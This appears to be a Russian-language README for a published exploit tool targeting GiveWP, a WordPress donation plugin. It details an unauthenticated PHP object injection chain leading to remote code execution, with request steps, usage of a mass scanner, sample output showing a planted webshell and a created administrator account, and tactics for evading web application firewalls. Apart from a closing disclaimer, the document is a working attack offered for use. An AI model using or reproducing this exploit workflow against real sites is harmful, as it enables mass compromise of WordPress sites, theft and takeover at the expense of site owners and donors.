
GiveWP <= 4.16.7.1 Неаутентифицированная инъекция PHP-объектов → RCE
Автор: Rx019
CVSS: 10.0 (Critical)
Тип: Неаутентифицированная PHP Object Injection → Remote Code Execution
Плагин: GiveWP (give) — Donation Plugin and Fundraising Platform
Затронутые версии: <= 4.16.7.1
Исправлено в: 4.16.8
GiveWP сохраняет last_name донора в PHP-сессии без санитизации. Когда пожертвование отправляется без поля give_last, GiveWP десериализует необработанное значение из базы данных напрямую в сессию. Это позволяет неаутентифицированному атакующему внедрить PHP-сериализованный объект в last_name через конечную точку профиля донора, а затем вызвать десериализацию, отправив сформированное пожертвование — что приводит к выполнению произвольных команд через готовую POP-цепочку, доступную в поставляемых вместе с GiveWP вендорских библиотеках.
TCPDF::__destruct()
└─ Session::getBag() ← вызывает метод, имя которого задано в $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command из $attributeName
Используемые вендорские классы:
| Класс | Файл |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Регистрация в качестве донора → аутентифицированная сессия (wp-login cookie)
2. POST /wp-admin/profile.php
last_name = сериализованная TCPDF-цепочка со встроенной командой system()
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (поле give_last ОПУЩЕНО)
→ GiveWP считывает last_name из БД, записывает необработанный объект в сессию
4. GET /?p={form_id}
→ завершение PHP-сессии запускает TCPDF::__destruct()
→ POP-цепочка выполняет system(command)
5. Подтверждение шелла / создание администратора
pip install requests rich
Python >= 3.9
| Файл | Описание |
|---|---|
CVE-2026-82222.py | PoC для одной цели — подробный пошаговый вывод |
CVE-2026-82222-MASS.py | Массовый сканер — многопоточный пакетный режим |
python CVE-2026-82222.py
Интерактивный запрос:
Target URL: https://victim.com
Или напрямую:
python CVE-2026-82222.py https://victim.com
# Пакетная обработка из файла
python CVE-2026-82222-MASS.py -f targets.txt
# Пользовательское количество потоков
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Несколько целей в командной строке
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Интерактивное меню
python CVE-2026-82222-MASS.py
Формат пакетного файла:
# Строки, начинающиеся с #, игнорируются
https://target1.com
https://target2.com
target3.com # протокол автоматически добавляется как https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Version : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Method : shell + direct (no .php write needed) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerable : 12 Partial : 3 Patched : 44 Not Vuln : 21 Errors : 2 Total : 82
Результаты сохраняются в ~/Documents/CVE/CVE-2026-82222/:
| Файл | Содержимое |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Результат одиночного запуска |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Полные результаты пакетного запуска |
success_results.txt | Добавленные строки VULN/PARTIAL |
Эксплойт последовательно пытается использовать два основных вектора:
wp_create_user() в виде base64 в TCPDF-цепочкуИспользуется, когда Вектор A не сработал или вход администратора не может быть подтверждён.
last_name через конечную точку профиляgive_last)/?p={form_id})id | tee в файл .txt в каталоге uploadsЕсли шелл подтверждён, но администратор ещё не создан, создать его через шелл с помощью wp_create_user() через параметр ?c= веб-шелла.
| WAF | Стратегия |
|---|---|
| Imunify360 | Удаление заголовков-подделок X-Forwarded-For / X-Real-IP |
| Wordfence | Ротация User-Agent из пула |
| Cloudflare | Установка Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT в wp-config.php блокирует вектор редактора плагина/темы — скрипт обнаруживает это на раннем этапе и переходит к Вектору BRx{100-999}.php — рандомизируется при каждом запускеЭтот инструмент выпущен только для авторизованного тестирования безопасности и исследовательских целей.
Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Несанкционированное использование незаконно и неэтично.